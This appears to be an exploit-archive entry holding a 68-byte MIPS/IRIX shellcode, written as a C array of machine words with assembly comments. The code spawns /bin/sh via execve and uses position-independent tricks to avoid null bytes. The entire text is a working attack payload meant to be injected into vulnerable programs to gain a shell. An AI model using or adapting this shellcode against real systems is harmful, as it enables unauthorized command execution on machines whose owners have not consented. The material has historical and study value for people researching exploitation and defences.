IRIX - execve(/bin/sh) Shellcode (68 bytes)

/* 68 byte MIPS/Irix PIC execve shellcode. -scut/teso
 */
unsigned long int shellcode[] = {
                0xafa0fffc,     /* sw           $zero, -4($sp)          */
                0x24067350,     /* li           $a2, 0x7350             */
/* dpatch: */   0x04d0ffff,     /* bltzal       $a2, dpatch             */
                0x8fa6fffc,     /* lw           $a2, -4($sp)            */
                /* a2 = (char **) envp = NULL */

                0x240fffcb,     /* li           $t7, -53                */
                0x01e07827,     /* nor          $t7, $t7, $zero         */
                0x03eff821,     /* addu         $ra, $ra, $t7           */

                /* a0 = (char *) pathname */
                0x23e4fff8,     /* addi         $a0, $ra, -8            */

                /* fix 0x42 dummy byte in pathname to shell */
                0x8fedfffc,     /* lw           $t5, -4($ra)            */
                0x25adffbe,     /* addiu        $t5, $t5, -66           */
                0xafedfffc,     /* sw           $t5, -4($ra)            */

                /* a1 = (char **) argv */
                0xafa4fff8,     /* sw           $a0, -8($sp)            */
                0x27a5fff8,     /* addiu        $a1, $sp, -8            */

                0x24020423,     /* li           $v0, 1059 (SYS_execve)  */
                0x0101010c,     /* syscall                              */
                0x2f62696e,     /* .ascii       "/bin"                  */
                0x2f736842,     /* .ascii       "/sh", .byte 0xdummy    */